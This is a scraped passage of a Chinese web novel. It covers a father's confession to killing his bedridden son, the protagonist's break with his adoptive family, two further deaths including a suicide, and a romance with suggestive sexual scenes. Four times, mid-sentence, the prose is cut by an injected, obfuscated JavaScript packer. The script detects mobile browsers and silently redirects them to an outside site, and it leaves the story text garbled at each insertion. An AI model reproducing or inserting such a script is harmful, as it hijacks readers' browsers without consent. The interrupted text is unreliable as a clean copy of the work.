他这辈子只杀过鸡,杀过鸭,从来没敢对人动过一点坏心思。可此刻,一个念头死死缠住他:陈信解脱了,全家人就都解脱了。 钱给陈迅,陈迅做个小本生意,不至于像现在这样无所事事。钱给孙子,孩子还小,他的病或许还有救。钱给这个被拖了十年的家,也能喘口气。 他在心里骗自己:这也算一件好事。 屋里的争执很快结束,陈迅不知是因为害怕,还是因为良心发现,总之没有对陈信下手。 于是,等彻底安静下来,他推开了陈信的房门,捡起地上的刀,走到床边。 陈信闭着眼,睡得很安静。 他在心里轻轻喊了一声:二娃。 那只为救儿子而骨折、再也不灵活的右手,握什么都抖,握刀更抖。 但他还是闭了闭眼,一刀下去,结束了这漫长的折磨。 * 从派出所再出来时,已经是一个小时后。 一小时前,陈福安说完完整的作案过程。李秀娥眼泪糊了一整脸,陈迅嘴巴张合着说不出一个字,梁知靠在陆柏安身上,脸色苍白得近乎透明。 最后李秀娥受不住接二连三的打击直接晕了过去,被紧急送往医院。梁知没有跟去,留下来做完笔录,确认此事跟自己确实毫无干系后被警方放行。 离开前,他问警察陈福安会面临什么结果,对方告知他,这种情形的故意杀人罪,至少要判十年以上。 走出派出所,天空飘起细密的毛毛雨。 两人就近去便利店买了一把透明雨伞,陆柏安抬手撑住伞面,将梁知圈在雨幕之外,突然开口:“所以转账的备注,真的是故意的?” 梁知脸上那副无措的神情早已褪得干干净净,只剩下淡淡的的平静,他望着前方湿漉漉的路面,嗯了一声。 虽然过程偏离了预想,也没料到一切会结束得这么快,但好在,最终的结果和他盘算的没有出入。 陆柏安突然没出声了。 伞沿滴落的雨丝敲在地面,发出细碎的声响。 “你是不是觉得我很恶毒?”梁知转过头,发现陆柏安正低头看着手机。 对方从手机里抬头,好像才反应过来他刚才问了什么。他没接那个话茬,只是说:“我有个东西要取,就在附近,一起过去吧。” 他们挤在那把透明伞下面,肩膀挨着肩膀,走过两个路口,拐进一条小巷。 梁知不知道他要取什么,也没问。他脑子里还放映着刚才派出所里那些画面,陈福安被带走时的背影,李秀娥晕过去时惨白的脸,陈迅看他的那个眼神,像看一只鬼。 到了之后他才发现是个蛋糕店。 门面不大,暖黄的灯光从玻璃窗里透出来,橱窗里摆着几款样品 陆柏安收了伞推门进去,梁知跟在他身后。 收银台后面站着一个穿围裙的女孩,陆柏安走过去报了串手机尾号,女孩转身从后面的冷柜里捧出一个蛋糕盒,白色的盒子系着浅蓝色的丝带。 陆柏安拎起盒子走回来:“走吧。” 梁知低下头,目光落在那个盒子上,准确地说,是落在盒子上贴的那张小卡片上。卡片露出一个角,上面是手写的字,他只匆匆一瞥,便看清了最醒目的两个:梁知。 心跳莫名轻顿了一下,他问:“给我的?” “嗯。”陆柏安说,“过生日,总得吃蛋糕吧。” “你怎么知道今天是我生日?” “租房的时候,你给我发过身份证照片。不记得了?” 梁知记得,但他没想过,陆柏安也会记得。 两人走出蛋糕店时,雨还在下。陆柏安一手撑伞,一手拎着蛋糕盒。 走了几步,他突然出声:“如果是我的话。” 梁知抬头。 雨打在伞面上,噼噼啪啪的。陆柏安没有看他,看着前面湿漉漉的路。 “我不会这样就轻易放过他们。”他补充。 昨晚,梁知告诉了他一个很长很长的故事,从五岁的高烧开始讲起。 他才知道,梁知的父母不是亲生的,他以为的“男友”也是无稽之谈,那天梁知在他面前流泪也不是他以为的争风吃醋的争吵。 陆柏安听着听着,竟像是亲自走进了梁知的回忆,从头至尾,旁观了他的一生。然后,他也替梁知恨上了陈家人。 如果是他的话,他会选择亲手结束掉那些人的命。 “所以,你跟恶毒没有一点关系。” 梁知看着他,静默几秒,突然问:“陈迅说刚才你打了他,是真的?” 陆柏安愣了一下:“是。我不是说了,他再来找你我打得他妈都不认识。” “疼吗?” “嗯?” “手,打人的那只。” 陆柏安低头看了看自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17186826|196990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的右手,指节上有点红,但不严重。 “不疼。” 梁知伸出手握住他的指节,拇指轻轻蹭过那片发红的地方。 “红了。”他说。 陆柏安没动。 他垂着眼看着梁知的手,那只手很瘦,骨节分明,指甲剪得整整齐齐。搁在他手背上,凉凉的,轻轻的。 “真不疼。”他又说了一遍。 “我知道。”梁知说,“我就想摸摸。” 这话听得陆柏安莫名有些耳热牙痒,任由梁知攥着他的手,轻咳一声:“过生日不能只吃蛋糕,你还有什么想做的事、想去的地方,或是想要的礼物?” 梁知缓缓抬起头,琥珀色的眼睛安静地望着他:“礼物,你不是已经送过了吗?” “啊?” 四十分钟后,两人回到陆柏安的住处。 陆柏安看着梁知从自己床底拖出一个装得满满当当的大纸箱,瞳孔微缩,僵在原地:“你怎么知道这个?” 梁知蹲在地上,抬眼看向他:“我不仅知道这个,我还知道,你就是那个,一直给我打赏礼物的6老板。” 陆柏安彻底石化。 大脑在那一刻疯狂飞转,无数细节疯狂刷屏,匿名账号、虚拟礼物、聊天记录……什么时候?怎么发现的?为什么发现了不告诉他? 梁知就蹲在那儿安安静静看着他神色变来变去,不等他揪出任何头绪,便先一步开口:“你想看我穿什么?” 陆柏安一愣。 这是可以选的吗? 梁知见他不说话,又道:“还是都穿一遍?” 还有这种好事。 陆柏安的脑子还没转过来,嘴已经先动了,他指了指箱子里其中一样:“那……先这个吧。” 银色链条嵌着白珍珠,细细的一条,在灯光下泛着柔和的光。 梁知研究了一会儿,意识到这是什么之后,当即撩起上衣。 陆柏安还没来得及反应,只见一片雪白露了出来。 梁知把衣服下摆卷起来,直接用牙齿咬住,露出整个腰腹。然后他低下头,把那根腰链往腰上扣。 银色链条贴着他的皮肤滑过去,白珍珠一颗一颗落下来,有两颗正好嵌进两条人鱼线里。他调整了一下松紧,链条微微陷进皮肤里。 珍珠是白的,一颗一颗,圆润饱满。皮肤也是白的,薄薄一层,像块冷玉。 梁知扣好腰链走了过来,每走一步,腰链上的珍珠就轻轻晃动一下,在灯光下一闪一闪的。 陆柏安的目光不受控制地跟随着,也一闪一闪的。不是幻想,不是隔着屏幕,是活生生的梁知站在他面前,远比他预想过的画面更具冲击力。 梁知在他面前站定,两人距离近得几乎相贴。下一秒,对方抬起手,主动拉住了他。 陆柏安的整只手被牵引着,缓缓贴向那片温热的肌肤。 一颗、两颗、三颗……指腹擦过珠子、珠子之间的皮肤,还有那道被链条勒出来的浅浅红痕。 陆柏安鼻腔里猛地一热,一股熟悉而温热的液体,不受控制地倾泻而出。 梁知一怔:“……没事吧?” “呃……”陆柏安仰头,空着的那只手死死按住鼻子,强装镇定道,“没事,继续。” 见鬼。 过生日的是梁知,为什么收到礼物的是他? 36.36 陆柏安按住鼻子,非常小心翼翼地开始拆礼物。 珍珠一颗一颗摸过去,指腹碾过每一颗的圆润弧度,凉的,硬的,带着银链子轻微的晃动。摸到最后一颗的时候,他突然觉得手指不够用了。 于是他弯下腰。 那条银链子硌在他的鼻梁上,凉的。嘴唇擦过链子的边缘,碰到其中一颗珍珠。 梁知的小腹绷紧了一瞬。 呼吸扑上来,潮热的,紊乱的,每一下都落在皮肤上。 梁知垂着眼看他。那颗脑袋毛茸茸的,发茬蹭着肚脐上方的皮肤,有点刺,有点痒。从这个角度只能看见他的发顶、耳廓、和一小截露出来的后颈。 大福不知道什么时候跑过来的,歪着脑袋看他们,尾巴摇了两下,然后屁颠屁颠凑过来,湿漉漉的鼻子往陆柏安小腿上拱。 陆柏安头没动,腾出一只手往后一挥,按着大福的脑袋把它推开。大福呜了一声,退后两步又跑走了。 梁知一手扶着床头,另一只手插在陆柏安后脑勺的发茬里,觉得这场景有点像爸爸让不懂事的女儿不要打搅他的好事。 嗯,爸爸。 因为陆柏安现在这幅样子,也非常像一条小狗。 密密麻麻的吻落下来,每一寸皮肤都被照顾到,梁知感觉有什么东西从被吻过的地方生出来,细细密密地往骨头缝里钻。 痒。 插在陆柏安后脑勺里的那只手慢慢收紧。他的呼吸乱了一拍,胸口起伏了一下,然后又压下去。 陆柏安的呼吸也越来越乱,蹭过的力道越来越重。直到—— 又是一股温热的液体滚落到他的皮肤。 梁知低头一看,微微叹了口气。他拍拍陆柏安的脑袋,然后把人拉起来。另一只手拿过床头的抽纸,抽了两张按在陆柏安鼻子底下。 “第几次了?”他问。 陆柏安仰着头,由着他擦,眼睛盯着天花板,老实回答:“第三次。” “昨天晚上你不这样。” 那确实不一样。昨天晚上那个病秧子在旁边盯着,陆柏安怎么可能让自己流鼻血丢脸。而且昨天晚上梁知穿得挺正常的,不像现在,露着腰,还串着那么涩的东西。 陆柏安只看了一眼就把视线挪回天花板。 血又开始往外涌。 “陆老板,”梁知点评他,“好闷骚。” 明明平时见面,都端着一副正经得不能再正经的模样。 陆柏安沉默了会儿,小声嘟囔:“那如果是你的话,把闷字去掉。” 梁知没想到陆柏安也会讲笑话,帮他换了张纸,神色自若地问:“我哪里骚?” 怎么还真接他的话茬?还是用一脸认真的表情。 陆柏安的视线从他脸上移开,移到他腰侧那条歪了的银链子,只看了一眼,又飞快移开。 当然是哪里都很那个。 梁知看着已经用了两团纸还没止住、反而更加汹涌的鼻血,轻轻蹙了蹙眉。 “去医院吧。”他说。 “不用,很快就好了。”陆柏安梗着脖子,声音闷闷的。 因为这种事去医院,那也太逗了。挂号的时候怎么说?医生我鼻血止不住,为什么?因为看见喜欢的人戴腰链? “那我是不是不该离开会儿?”梁知说,“我在这儿,你这血好像一时半会止不下来。” “你人不在这儿要去哪儿?暂时不做那些事不就行了。”陆柏安随手扯了两张纸捏成两根小条塞进鼻孔,然后攥住梁知的手腕往客厅走,“吃蛋糕。” 蛋糕盒放在茶几上,陆柏安指尖扣住盒盖边缘缓缓往上掀开,一股淡甜的奶油香立刻漫开来,里面是一个六寸草莓蛋糕,浅白奶油上铺着一整圈饱满鲜红的草莓。 两根蜡烛,一根数字2,一根数字8。陆柏安拿起它们便往蛋糕上插。 梁知则查看起那张卡片。他盯着那行小字静静看了好几秒,指尖无意识地在纸边轻轻摩挲,一下,又一下。 头顶忽然一沉,他下意识抬头,陆柏安正微微弯着腰将那顶小小的金色生日帽扣在他头顶。 做完这一切,窗外天还大亮,日光把屋子照得亮堂堂的。陆柏安后走到窗边把遮光窗帘往中间一拢,整间屋子瞬间陷入一片昏暗。 他又蹲回茶几前,从口袋摸出打火机啪地一声打火。淡蓝色的火苗蹿起,两簇小小的烛火立刻跳动起来。 烛火将陆柏安的脸映得一半明亮一半阴沉,他看着梁知低声道:“许愿?” 梁知没有立刻闭眼。眼前的人半蹲在身前,手掌虚护着两簇小小的光,神情认真的模样,好似一副他不管许什么愿都能实现的样子。 他缓缓闭上眼,不过几秒,又重新睁开眼,对着陆柏安轻轻点了下头。 陆柏安喉间微微一动:“吹吧。” 梁知微微俯身,气息轻浅地拂过烛火。两簇光同时晃了晃,悄无声息地熄灭。 屋里静了一瞬。 陆柏安先伸手,拿起旁边的塑料小叉递到他面前:“吃。” 梁知没接,反而微微张嘴。 陆柏安指尖一顿,随后叉起一块裹着草莓的奶油递到梁知唇边。 梁知张嘴,一口咬下去,草莓的汁水混着绵密的奶油在舌尖爆开。 陆柏安又叉起一小块蛋糕递到他嘴边。 这一次梁知没有张嘴唇,反而微微偏头,鼻尖轻轻蹭过他的指尖,带着一点奶油的甜香和温热的呼吸。 “好吃。” 陆柏安喉结滚动,哑声应:“那就行。” “一起吃。” “好。” 奶油绵密,草莓清甜,小小的蛋糕被两人分着吃。吃着吃着,陆柏安手里的动作慢了下来,还是没忍住开口:“你是什么时候认出我的?是怎么看出来的?” 梁知捏着小叉子,慢悠悠吃掉一颗草莓。他语气平静地说没多久,林小满告诉他的。 陆柏安愣在原地好几秒,猛地闭眼:“原来是他……那你怎么一直不说?” “因为逗你挺有意思的。看不出来,陆老板私下里居然看美女,还打赏。” “我没……”陆柏安声音一下子就变调了,“我只看过你一个人,也只给你一个人打赏过。” “果然很有意思。” 陆柏安瞬间反应过来,自己又被耍了。 他忽然想通了好多事,先前有好几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193278|196990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回梁知也是用这种平淡的语气说出一些雷人的话。原来那时候,梁知就已经知道他是谁了。可梁知知道了也没有生气,没有怪他隐瞒身份,没有怪他用匿名账号窥探。 那是不是代表,梁知对他,其实也是有一点不一样的? 他抬眼看向梁知,对方脸上依旧是那副淡淡的模样,看不出喜怒。 陆柏安的心刚提起来又猛地沉了下去,一个更可怕的念头瞬间占据了他的脑子。 他之前一直以为梁知和陈信关系不一般,直到后来梁知说他不是小三,当时也只顾着乐了根本没深想…… “怎么突然不说话了?”梁知问。 陆柏安猛地回过神,胡乱叉起一块蛋糕塞进嘴里,沉默了好一会儿才问:“你昨天晚上跟我那样,是不是因为……” 想气那个病秧子? 后半句他没说出口,迟疑到底要不要问。不问,脑子里乱七八糟。问,万一听到的是不想听的那个答案。 梁知安静地看着他,虽然没说完,却也听出了话外之音。 “你对自己这么没信心?” 陆柏安一愣,猛地抬头。 视线相撞的瞬间,梁知已经朝他倾身过来。 暖黄的烛火在两人之间轻轻摇晃,把他的睫毛投下一小片浅影。他一点点靠近,呼吸慢慢交缠,陆柏安甚至能清晰看见他干净的眼瞳,还有唇上那一点奶油的甜香。 距离越来越近,近到只要再往前一点,就能吻上。 陆柏安凝神屏息,心脏在胸口里疯狂乱撞。 可就在唇瓣即将相触的那一瞬,梁知忽然停住了。他没有再靠近,只是安静地看着陆柏安。 这个人,不会又流鼻血吧。 他往后退了回去。陆柏安一愣,条件反射一把就将人重新拉到面前,将鼻孔里的纸取出来扔进垃圾桶,低头就在梁知唇上亲了一口。 很轻,很软,带着草莓的甜和奶油的香,一触即分。 梁知的睫毛猛地颤了颤,好几下才稳住。 陆柏安突然就想起了昨晚,那些更亲密的接触里,梁知虽然也有反应,但也勉强还可以算上镇定。 可亲嘴的时候不一样,亲嘴的时候,梁知会慌。 这个发现让陆柏安心里涌起一阵奇异的快感,他又凑过去,这次轻轻含住梁知的下唇,吮掉上面残留的奶油。 唇瓣分离的瞬间,空气里只剩下两人渐渐乱掉的呼吸声。 陆柏安低声问:“我们现在是什么关系?” 梁知反问:“你说呢?” 陆柏安的心猛地一沉,又瞬间扬起,喉结轻轻滚动。他盯着梁知的眼睛,一字一句道:“生日快乐。” 顿了顿,他学着陈家人平日里的叫法,唤了一声:“知知。” 梁知微微抬手环住他的脖子,主动凑上去,落下一个浅浅的回吻。 窗外一阵热风悄无声息地钻进来,掀动着窗帘,拂过两人的脸颊,也吹得桌角那张安静躺着的生日卡片簌簌作响。 卡片被风掀起一角,又轻轻落下,上面没有写生日快乐,只有一行干净清隽的字迹。 「廿八新岁,朝朝暮暮,自在如风。——梁知收。」 37.37 陈信在三天后火化,这房子是租来的不敢随意乱动,最后他们便在不情不愿的陈迅家里草草搭了个简单的灵堂。 墙角摆着两块木板拼起来的供桌,铺着一块洗得发白的蓝布,上面插着三根黄香,到场的也就只有他们一家人。 仪式结束后,梁知和李秀娥要一同回住的地方。陈迅靠在门框上抽烟,嘴角扯出一抹冷笑:“妈,你可小心点,别到时候被人卖了还帮着数钱,爸和陈信都出事了,谁知道下一个会不会是你。” 李秀娥红着眼眶说不出话。 梁知掀了掀眼皮:“大哥有这阴阳怪气的功夫,不如多想想怎么正经找份活计赚佳乐的医疗费。不要让孩子从小就觉得,这个家,有你这个父亲,还不如没有。” “梁知你什么意思?!你敢教训我?” 陈迅喘着粗气就要朝梁知冲上来,被李秀娥一把死死抱住腰,她哭得浑身发抖,声音嘶哑绝望:“够了!都别吵了!人都走了还闹!还嫌这个家不够乱吗?” 梁知被李秀娥拉着离开了,身后的陈迅气急败坏地一把将屋里的窗户全都狠狠拉开,风“呼”地一下灌进来,吹得供桌上的香灰漫天飞舞,他扯着嗓子喊:“晦气!真是晦气到家了!” “够了,叫什么叫?”一道冰冷的女声在身后响起,“说到底,能发生这种事,家不成家,人不成人,还不是因为你一开始太贪?” 陈迅一怔,猛地回头:“赵春梨你疯了?帮着外人说我?我贪?我这还不是想给佳乐凑医药费!也是让你装上了,之前他们来借住的时候,你不是也暗戳戳地甩脸子想赶他们走吗?现在倒好,开始替他们说话了!” “因为我觉得,梁知刚才有句话说得没错。”赵春梨冷笑着,一字一顿道,“这个家,有你,还真不如没有。” 回去的公交车摇摇晃晃,窗外的天色灰蒙蒙的,路灯一盏盏往后退。 李秀娥坐在靠窗的位置,抱着陈信的骨灰罐和遗照安慰梁知:“知知,你别把阿迅刚才的话放心上,他就是嘴坏,妈知道,你是个好孩子,不会做那种事。” 梁知睫毛轻轻动了一下,他缓缓抬起眼:“我不是。” 李秀娥一怔。 梁知看着她,目光平静得像一潭死水。 “从明天开始,”他说,“我们就大路朝天,各走一边吧。” “为什么?”李秀娥一脸惊愕,“是因为阿信死了吗?是因为他走了,所以……” “不是。”梁知打断她。 他看了眼李秀娥手中的遗照,目光只停了一瞬,便移开了。然后,他将先前向陈信袒露过的事情都说了出来。 他说那些话时很平静,平静得像是在说别人的事。可每一个字落进李秀娥耳朵里,都像烧红的铁钉,生生地往里钉。 他知道的,原来他早就知道了。 话音落下的那一刻,李秀娥的眼泪终于绷不住了。大颗滚烫的泪珠从眼眶里砸出来,顺着她布满皱纹的脸颊往下滑。 “知知……”她终于挤出两个字,沙哑得不像自己的声音。 梁知垂在膝头的手指悄悄蜷紧,指甲轻轻掐进掌心。 这个家于他而言从来都不算家,他可以不在乎所有人。 但李秀娥不一样。 是她当年把高烧的他捡回来,给了他一口热饭,一张能睡的床,让他有个地方遮风挡雨,让他二十几年里,能有一声妈妈可以叫。 也正是因为这样—— “我做不到,再像什么都没发生过一样跟你一起生活下去。” 李秀娥猛地摇头,声音带着哭腔,想要抓住梁知:“妈对不起你,知知,妈知道委屈你了……你别不要妈,妈只剩你和阿迅了,真的只剩你们了……” 梁知没有接话。 公交车的报站声恰好响起:“百乐街站到了,请下车的乘客做好准备。” 他站起身,让李秀娥尽快把东西收拾出来,说完,一步步走向车门。 李秀娥坐在座位上,怔怔地看着那个背影。那个她看了二十多年的背影,从刚被捡回来时瘦瘦小小的模样,到后来长成半大少年,再到如今,比她高出整整一个头。 她是真的爱梁知,毕竟那是她一手一脚拉扯大的孩子。只是在当初那样烂泥一样的日子里,她没有退路。做出欺骗梁知的选择时,她也挣扎过、痛苦过,可当梁知主动提出要退学的时候,她还是松了口气。 她终究,是个懦弱又偏心的母亲。 她忽然想起很多年前,梁知第一次从家里的土炕上醒来。那天阳光很好,透过窗棂照在他苍白的小脸上,他安安静静地躺着,不哭也不闹,就那么乖巧地看着她。她冲他招招手,笑着说:知知,以后这里就是你的家。 小小的梁知慢慢撑着身子坐起来,他跳下炕,光着一双小脚朝她走过来。步子很小,走得很慢,却一步都没有迟疑。 那个当年一步一步走向她的小孩,如今却在一步一步,彻底走出她的人生。 “知知!”李秀娥猛地回过神,用尽全身力气喊他。 车门口的背影顿了一下,但也只是一下。下一秒,他便抬脚跨出车门,融入了站台熙熙攘攘的人群里。 车门缓缓关上,隔绝了她的呼喊。李秀娥瘫坐在座位上,抱着怀里冰冷的骨灰罐,望着空荡荡的车门,终于发出撕心裂肺的哭声。 梁知当晚没有回出租屋,留在了陆柏安那里。第二天,一前一后收到了两条死讯。 第一个是陈迅。说是昨夜醉酒,在楼道里踩空,从五楼直接摔了下去,后脑磕在水泥地上,人当场就没了。 话虽然都是妻子赵春梨的一面之词,但警方反复勘查现场,没有第三方痕迹,最终只能按意外身亡结案。 第二个是李秀娥。百乐街的街坊群里发布了一段模糊的视频,是河道打捞现场。捞上来的人泡得发胀变形,皮肉泛白,面目被水泡得无法辨认,梁知只看了一眼那身穿着便认出那是李秀娥。 警方后来调了河边监控,画面里,她一个人慢慢走到护栏边,怀里抱着陈信骨灰罐,翻身一跃,就这样跳了下去。人被捞了上来,那只陪着她一路的骨灰罐,却沉在了河底,再也没找到。 梁知看完视频,侧过身,把自己靠进陆柏安怀里。 陆柏安顺着他的姿势往下滑了滑,手臂环上来,把他整个人圈住。 屋里很静,静得能听见彼此的呼吸。 梁知闭着眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210574|196990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睛,脸埋在他胸口。 陆柏安的T恤上有洗衣液的味道,混着一点他身上很淡的体温。梁知闻了一会儿,突然觉得眼眶发酸。他没动,也没出声,只是把脸埋得更深了一些。 不知过了多久,陆柏安感觉胸口那片布料慢慢洇湿了一小块。 “人死了,会去哪?”怀里的人轻声问。 “死了,”陆柏安说,“就什么都没有了。” 他一下下轻拍着梁知的后背,像哄小孩一样。随后伸出手,掌心贴上梁知的脸颊,拇指慢慢地抚过他的眼角,把那颗摇摇欲坠的眼泪接住,擦掉。 梁知的睫毛颤了颤,下一秒,陆柏安的唇落下来。先贴在他泛红的眼皮上,再缓缓下移,掠过眉心,拂过鼻梁,最终停在他微凉的唇上。 梁知闭着眼,鼻腔里全是陆柏安的气息,原本紧绷的身体在这个吻里一点点软了下来,攥着衣料的手慢慢松开,转而环住了陆柏安的腰。 一吻结束,梁知埋在他颈窝喘了口气,道:“你给我讲个笑话。” 陆柏安愣了愣:“什么笑话?” “随便,只要能转移注意力。” 陆柏安搜肠刮肚半天,终于想起一件绝对能让他分散注意的事。 “你还记得那天你喝醉,我们在视频软件上打了十几分钟视频电话吗?” “记得。” “那你记得,通话里都发生了什么吗?” 梁知沉默两秒:“不记得。” 陆柏安默默拿出手机,点开那个珍藏的录屏。 梁知垂着眼,面无表情地接过来。 十几分钟安安静静过去。他缓缓放下手机,脸上神情依旧淡淡的看不出喜怒,可从耳尖到脖颈,再到脸颊、锁骨,全身上下都红得发烫。 ‘再漂亮,也是男孩儿呀……我真的是男孩儿,你看,我还能站着尿尿呢……’ 我还能站着尿尿呢…… 站着尿尿呢…… 尿尿呢…… 他抬起眼,静静地看着面前的人:“你能失忆吗?” 陆柏安没忍住低低笑出了声,他伸手捏了捏梁知发烫的耳尖:“恐怕不行。我存了好几个备份,云端、电脑、旧手机里都有。” 梁知低下头,两只手虚虚捂住脸,声音闷闷地从指缝里钻出来:“你这不是笑话,是公开处刑。” “管用就行。” 梁知沉默几秒,把两根食指与中指微微张开,只露出一双眼睛,一眨不眨地盯着陆柏安:“删掉?” 陆柏安轻轻摇头。 梁知把手全部拿下来。脸颊红扑扑的,从鼻尖到下颌都泛着一层粉,像颗被温水浸过的水蜜桃。 他微微倾身,抬手轻轻勾住陆柏安的脖子,仰头吻住了他。 陆柏安眸色一深,伸手扣住他的后腰,反客为主,加深了这个吻。 直到呼吸微乱,两人缓缓分开。 “现在呢?” “现在也不行。” “那这样呢?” “不行。” “这样呢?” “不……” “这样呢?” “……” “怎么又流鼻血了?” 38.38 李秀娥和陈迅死的第七天,梁知接到了一个陌生来电。对方说是黄泥乡拆迁办的,告知他们原先的老住处那片要动迁。房子虽已经被洪水冲垮早,可地基权属还在陈家名下。 随后,梁知、陆柏安,还有赵春梨一起回了趟黄泥乡。 手续办得很顺利。拆迁款一共二十八万,梁知和赵春梨一个养子一个儿媳各得一半。 分别那天,赵春梨对梁知说她要带着陈佳乐离开澜溪县了。朋友给她介绍了个外地的男人,也是二婚,不算大富大贵,但做点小生意,手头还算宽裕,对方说不嫌弃陈佳乐的病,愿意出钱帮孩子治。 梁知和这位嫂子向来不算亲近。赵春梨打从一开始就看不上陈家这烂泥一样的家境,若不是当年被陈迅几句花言巧语骗了,又意外未婚先孕,她怎么也不会踏进这个家门。 不过虽然算不上亲近,但也没什么深仇大恨。 “挺好的。”梁知说,“以后好好生活。” 赵春梨眼底掠过一丝复杂,最终也只是轻轻点了点头。 告别之后回到住处,两团毛茸茸的影子从不同方向冲过来,梁知蹲下来,一手揉一个。 两只小狗追着他的脚后跟进了厨房,食盆刚放下就被围住猛吃。他拿起勺子,往大福碗里添了一勺,又往毛豆碗里添了一勺。 再一勺,再一勺。 陆柏安问他在想什么,梁知回过神,垂着眼轻轻摸了摸毛豆的脑袋:“我在想,要不要把快餐店和花店的工作都辞了。” 他现在手里有点钱了,不算多,但够他躺一阵子,想去做点自己想做的事。 陆柏安问他想做什么。 这话一问,梁知反倒愣住了。 这个问题倒是从来没认真想过,一时之间竟不知道该怎么回答,只能轻轻摇摇头。 陆柏安没追问,只是起身走进了里间。没过多久他再出来时,掌心多了一本红色的小册子,径直递到梁知面前。 梁知看清上面的字时,整个人一怔。 “这是……” 存折。 “打开看看。”陆柏安的声音在身旁响起。 梁知轻轻翻开内页,一行行数字映入眼帘,他默默屏住呼吸。 202x年x月x日,现存,12000.00 202x年x月x日,现存,8500.00 202x年x月x日,现存,15000.00 …… 结余:1000000.00 他抬头看向陆柏安,眼睛睁得微微圆了些:“你怎么会有这么多钱?” 陆柏安语气自然:“存下来的。” 他这些年一个人吃住简单,有房租收着,铺子也一直盈利,物欲低,没什么地方花钱,存着存着,一不小心就存这么多了。 他顿了顿,道:“存的老婆本。” “都是给我的?” “你用得到,就拿去。” “我们在一起才十来天。” “……我不是那个意思,不是说给了你钱,你就非得当我老婆,你别多想。” 空气安静了一瞬。 梁知望着陆柏安认真为自己辩解的模样,淡淡道:“我不当,那谁当?” 陆柏安一愣,心跳猛地撞在胸口,脑子一空,什么话都忘了,低头就朝梁知吻了过去。 梁知坐在沙发上,手撑着沙发,仰着头承受这个突如其来的吻。 唇舌交缠间,他能感觉到陆柏安呼吸的急促和他压下来的重量,能感觉到他一只手撑在沙发靠背上,另一只手扣住了自己的后颈。 这个姿势让梁知不得不仰得更高,脖颈拉出一条修长的弧线。他喉间溢出一点含糊的声音,手臂攀上了陆柏安的肩膀。 陆柏安吻得更深了。 直到两个人都有些喘不过气,他才稍稍退开一点,额头抵着梁知的额头,呼吸交错着,哑着嗓子说:“刚才那句话,再说一遍。” “哪句?” “你知道是哪句。” “不知道。陆老板不说清楚,我怎么知道是哪句?” 陆柏安盯着他看了一会儿,突然低笑一声:“要不要直接搬过来?” 梁知眼睫轻轻一颤,淡淡应了一个字:“好。” 很快,他们一起去了梁知之前的租房收拾东西。这些天梁知基本没回来过,一推开门,一股久闭的灰尘扑面而来。 而门正对的桌上,赫然摆着一张黑白遗照。 陆柏安下意识低骂了一声:“草……” 梁知神色没怎么变,只平静地往里走,陆柏安跟了上去。 梁知的东西不多,陆柏安在旁边帮着帮着,突然摸出件有点眼熟的东西,指尖一顿,轻咳了声:“这个怎么处理?” 梁知转过头,看清陆柏安手里捏着的东西,是那条破了洞被他压箱底的黑丝。 “扔了吧,穿不了了。” 陆柏安盯着那处破洞看了几秒:“其实……也能穿。” 梁知又看了他一眼,目光在他一脸正气的脸和那条丝袜之间慢悠悠转了两圈:“6老板,平时看我视频是正经看吗?” 他放下收拾到一半的行李,坐到一旁的椅子上:“你帮我穿。” 陆柏安握着丝袜的手指收紧了一瞬,随即低笑一声,他把手里的丝袜展开,走到梁知面前蹲下来。 “抬脚。” 梁知依言抬起一只脚。 陆柏安握住他的脚踝,将丝袜卷好,套上脚尖,然后一寸一寸往上推。 黑色的薄纱一点点包裹住梁知的小腿,在灯光下泛着若有若无的光泽。陆柏安的动作很慢,指腹隔着那层薄薄的织物,描摹过脚踝、小腿、膝盖…… 另一只腿也如法炮制。等到两只都穿好,陆柏安却没有立刻松开手,而是保持着半跪的姿势,掌心贴着梁知的大腿,拇指在那处破洞边缘轻轻摩挲。 “这儿,”他说,“破的。” 梁知垂眼看他:“那怎么办?” 陆柏安没答话,只是手指沿着那处破洞的边缘又摩挲了两下。丝袜的裂口在他的拨弄下微微扩大,露出一小截白皙的皮肤。 他低着头,像是要继续研究那处破洞。然后,毫无预兆地贴了上去。 吻落在破洞的位置,唇瓣隔着丝袜的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 